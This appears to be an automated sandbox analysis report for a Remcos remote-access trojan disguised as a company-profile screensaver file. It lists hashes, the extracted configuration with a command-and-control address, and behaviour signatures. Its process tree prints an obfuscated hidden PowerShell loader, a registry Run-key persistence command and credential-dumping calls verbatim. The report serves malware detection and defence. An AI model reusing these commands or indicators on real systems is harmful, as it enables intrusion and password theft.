Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-12-2024 05:39

General

  • Target

    CompanyProfileandneworder-202401127.scr.exe

  • Size

    779KB

  • MD5

    935bdb714d2c6a118e9c6bfd941084b8

  • SHA1

    817f3f195d61d459fbbdac24e5a4f014d927edcf

  • SHA256

    c69b2064c89c254dbeda8f204b3a60ab753816ddff618be9d593cb9839cfe09d

  • SHA512

    6915674b2cf0bbc300f18dc26fd983bb69d5ddf8ec7d00831915ae6d5602d0b770d5e785ab8b0d33b9e0c353773e2777273ff6e8383d7332a54fe2440976ede4

  • SSDEEP

    12288:XXa6zw6GW2F+5XizizdI+9kUWM6vQWO0v1wb1EVLz56TE/n0koAHf9qo05bWYpD/:XXal655XEIimkUd0dPpL04/9X05bj

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

185.29.10.213:63650

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-NJ8CFR

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Detected Nirsoft tools 3 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Blocklisted process makes network request 6 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 31 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\CompanyProfileandneworder-202401127.scr.exe
    "C:\Users\Admin\AppData\Local\Temp\CompanyProfileandneworder-202401127.scr.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4972
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Vagtselskabets=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Temp\nonopposable\ff4\Burglarproofs\bordskaaneren.Exp';$wullawins=$Vagtselskabets.SubString(21189,3);.$wullawins($Vagtselskabets)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5112
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of WriteProcessMemory
        PID:3132
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Loaded" /t REG_EXPAND_SZ /d "%Salutbatteriernes% -windowstyle 1 $Psammous=(gp -Path 'HKCU:\Software\Absinthium\').Emulsifiable;%Salutbatteriernes% ($Psammous)"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3480
          • C:\Windows\SysWOW64\reg.exe
            REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Loaded" /t REG_EXPAND_SZ /d "%Salutbatteriernes% -windowstyle 1 $Psammous=(gp -Path 'HKCU:\Software\Absinthium\').Emulsifiable;%Salutbatteriernes% ($Psammous)"
            5⤵
            • Adds Run key to start application
            • System Location Discovery: System Language Discovery
            • Modifies registry key
            PID:1832
        • C:\Windows\SysWOW64\msiexec.exe
          C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\gyisxws"
          4⤵
            PID:1836
          • C:\Windows\SysWOW64\msiexec.exe
            C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\gyisxws"
            4⤵
              PID:2036
            • C:\Windows\SysWOW64\msiexec.exe
              C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\gyisxws"
              4⤵
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:3312
            • C:\Windows\SysWOW64\msiexec.exe
              C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\jsvlyodjpa"
              4⤵
              • Accesses Microsoft Outlook accounts
              • System Location Discovery: System Language Discovery
              PID:3532
            • C:\Windows\SysWOW64\msiexec.exe
              C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\tnavzhvddicgv"
              4⤵
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4724

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ybojirfk.4m3.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\gyisxws

        Filesize

        4KB

        MD5

        c3c5f2de99b7486f697634681e21bab0

        SHA1

        00f90d495c0b2b63fde6532e033fdd2ade25633d

        SHA256

        76296dc29f718988107d35d0e0b835c2bf3fc7405e79e5121aa4738f82b51582

        SHA512

        7c60ffdc093de30e793d20768877f2f586bee3e948767871f9a1139252d5d2f593ba6f88ce0ed5f72c79faddb26186792df0581e4b6c84d405c44d9d12f951b8

      • C:\Users\Admin\AppData\Local\Temp\nonopposable\ff4\Burglarproofs\bordskaaneren.Exp

        Filesize

        55KB

        MD5

        755fb54225dd285b06c369a2f5e58082

        SHA1

        f87f62424d1e437c7bd3b8c5fad3ed40269f140a

        SHA256

        81e5c8c7b98950c580ef3681dca6bfb2729cc82e862dabc118a53442c4c96bc1

        SHA512

        4efea102c5076a541f96a788d88dc550195abc0a464b0d36638a8502836077f9c02e0a636c1f9654c693a7c853df0e6b99eaf6f0d4e5ffb0f81ae64690b3c915

      • C:\Users\Admin\AppData\Local\Temp\nonopposable\ff4\Unsoil.Coa

        Filesize

        358KB

        MD5

        d1e068d6f404618fb2865467ca5a6c8a

        SHA1

        ea38b343ca3cc8669a1201977f453e3d59bbd904

        SHA256

        4d22f5607f2c5579e7296ad7c71ae84de5af8bda148b653e99fc5cffef569136

        SHA512

        5a4c72ee6ccdc80fc0815ee9f68bfd93e22f9fd891cb5a60d843b8318ae9c538a6ce9c3aa18ee3017a1ee615ed2e485d07bd722ccc91b200baeff02254f85ffd

      • memory/3132-99-0x0000000021210000-0x0000000021229000-memory.dmp

        Filesize

        100KB

      • memory/3132-111-0x00000000010C0000-0x0000000002314000-memory.dmp

        Filesize

        18.3MB

      • memory/3132-105-0x00000000010C0000-0x0000000002314000-memory.dmp

        Filesize

        18.3MB

      • memory/3132-104-0x00000000010C0000-0x0000000002314000-memory.dmp

        Filesize

        18.3MB

      • memory/3132-107-0x00000000010C0000-0x0000000002314000-memory.dmp

        Filesize

        18.3MB

      • memory/3132-103-0x00000000010C0000-0x0000000002314000-memory.dmp

        Filesize

        18.3MB

      • memory/3132-102-0x00000000010C0000-0x0000000002314000-memory.dmp

        Filesize

        18.3MB

      • memory/3132-101-0x00000000010C0000-0x0000000002314000-memory.dmp

        Filesize

        18.3MB

      • memory/3132-100-0x00000000010C0000-0x0000000002314000-memory.dmp

        Filesize

        18.3MB

      • memory/3132-98-0x0000000021210000-0x0000000021229000-memory.dmp

        Filesize

        100KB

      • memory/3132-108-0x00000000010C0000-0x0000000002314000-memory.dmp

        Filesize

        18.3MB

      • memory/3132-110-0x00000000010C0000-0x0000000002314000-memory.dmp

        Filesize

        18.3MB

      • memory/3132-95-0x0000000021210000-0x0000000021229000-memory.dmp

        Filesize

        100KB

      • memory/3132-106-0x00000000010C0000-0x0000000002314000-memory.dmp

        Filesize

        18.3MB

      • memory/3132-73-0x00000000010C0000-0x0000000002314000-memory.dmp

        Filesize

        18.3MB

      • memory/3132-78-0x00000000010C0000-0x0000000002314000-memory.dmp

        Filesize

        18.3MB

      • memory/3312-82-0x0000000000400000-0x0000000000478000-memory.dmp

        Filesize

        480KB

      • memory/3312-86-0x0000000000400000-0x0000000000478000-memory.dmp

        Filesize

        480KB

      • memory/3312-83-0x0000000000400000-0x0000000000478000-memory.dmp

        Filesize

        480KB

      • memory/3312-79-0x0000000000400000-0x0000000000478000-memory.dmp

        Filesize

        480KB

      • memory/3532-84-0x0000000000400000-0x0000000000462000-memory.dmp

        Filesize

        392KB

      • memory/3532-85-0x0000000000400000-0x0000000000462000-memory.dmp

        Filesize

        392KB

      • memory/3532-80-0x0000000000400000-0x0000000000462000-memory.dmp

        Filesize

        392KB

      • memory/4724-92-0x0000000000400000-0x0000000000424000-memory.dmp

        Filesize

        144KB

      • memory/4724-91-0x0000000000400000-0x0000000000424000-memory.dmp

        Filesize

        144KB

      • memory/4724-87-0x0000000000400000-0x0000000000424000-memory.dmp

        Filesize

        144KB

      • memory/5112-30-0x00000000076B0000-0x00000000076E2000-memory.dmp

        Filesize

        200KB

      • memory/5112-45-0x0000000007820000-0x000000000782A000-memory.dmp

        Filesize

        40KB

      • memory/5112-55-0x0000000073E20000-0x00000000745D0000-memory.dmp

        Filesize

        7.7MB

      • memory/5112-52-0x0000000007AA0000-0x0000000007AC4000-memory.dmp

        Filesize

        144KB

      • memory/5112-58-0x0000000073E20000-0x00000000745D0000-memory.dmp

        Filesize

        7.7MB

      • memory/5112-57-0x0000000073E2E000-0x0000000073E2F000-memory.dmp

        Filesize

        4KB

      • memory/5112-59-0x0000000073E20000-0x00000000745D0000-memory.dmp

        Filesize

        7.7MB

      • memory/5112-60-0x0000000073E20000-0x00000000745D0000-memory.dmp

        Filesize

        7.7MB

      • memory/5112-62-0x0000000073E20000-0x00000000745D0000-memory.dmp

        Filesize

        7.7MB

      • memory/5112-61-0x0000000008DB0000-0x000000000B336000-memory.dmp

        Filesize

        37.5MB

      • memory/5112-63-0x0000000073E20000-0x00000000745D0000-memory.dmp

        Filesize

        7.7MB

      • memory/5112-65-0x0000000073E20000-0x00000000745D0000-memory.dmp

        Filesize

        7.7MB

      • memory/5112-66-0x0000000073E20000-0x00000000745D0000-memory.dmp

        Filesize

        7.7MB

      • memory/5112-51-0x0000000007A70000-0x0000000007A9A000-memory.dmp

        Filesize

        168KB

      • memory/5112-50-0x0000000007A00000-0x0000000007A08000-memory.dmp

        Filesize

        32KB

      • memory/5112-49-0x0000000007A30000-0x0000000007A4A000-memory.dmp

        Filesize

        104KB

      • memory/5112-48-0x00000000079D0000-0x00000000079E4000-memory.dmp

        Filesize

        80KB

      • memory/5112-47-0x00000000079C0000-0x00000000079CE000-memory.dmp

        Filesize

        56KB

      • memory/5112-46-0x0000000007980000-0x0000000007991000-memory.dmp

        Filesize

        68KB

      • memory/5112-53-0x0000000073E20000-0x00000000745D0000-memory.dmp

        Filesize

        7.7MB

      • memory/5112-44-0x0000000007700000-0x00000000077A3000-memory.dmp

        Filesize

        652KB

      • memory/5112-31-0x00000000702B0000-0x00000000702FC000-memory.dmp

        Filesize

        304KB

      • memory/5112-43-0x0000000073E20000-0x00000000745D0000-memory.dmp

        Filesize

        7.7MB

      • memory/5112-42-0x0000000007690000-0x00000000076AE000-memory.dmp

        Filesize

        120KB

      • memory/5112-34-0x0000000073E20000-0x00000000745D0000-memory.dmp

        Filesize

        7.7MB

      • memory/5112-5-0x0000000073E2E000-0x0000000073E2F000-memory.dmp

        Filesize

        4KB

      • memory/5112-29-0x0000000008730000-0x0000000008DAA000-memory.dmp

        Filesize

        6.5MB

      • memory/5112-27-0x0000000007B00000-0x00000000080A4000-memory.dmp

        Filesize

        5.6MB

      • memory/5112-26-0x0000000007260000-0x0000000007282000-memory.dmp

        Filesize

        136KB

      • memory/5112-25-0x00000000067B0000-0x00000000067CA000-memory.dmp

        Filesize

        104KB

      • memory/5112-24-0x0000000006800000-0x0000000006896000-memory.dmp

        Filesize

        600KB

      • memory/5112-23-0x00000000062B0000-0x00000000062FC000-memory.dmp

        Filesize

        304KB

      • memory/5112-22-0x0000000006290000-0x00000000062AE000-memory.dmp

        Filesize

        120KB

      • memory/5112-12-0x0000000005AE0000-0x0000000005E34000-memory.dmp

        Filesize

        3.3MB

      • memory/5112-10-0x00000000053A0000-0x0000000005406000-memory.dmp

        Filesize

        408KB

      • memory/5112-11-0x0000000005A70000-0x0000000005AD6000-memory.dmp

        Filesize

        408KB

      • memory/5112-9-0x0000000005300000-0x0000000005322000-memory.dmp

        Filesize

        136KB

      • memory/5112-8-0x0000000005440000-0x0000000005A68000-memory.dmp

        Filesize

        6.2MB

      • memory/5112-7-0x0000000073E20000-0x00000000745D0000-memory.dmp

        Filesize

        7.7MB

      • memory/5112-6-0x0000000004CE0000-0x0000000004D16000-memory.dmp

        Filesize

        216KB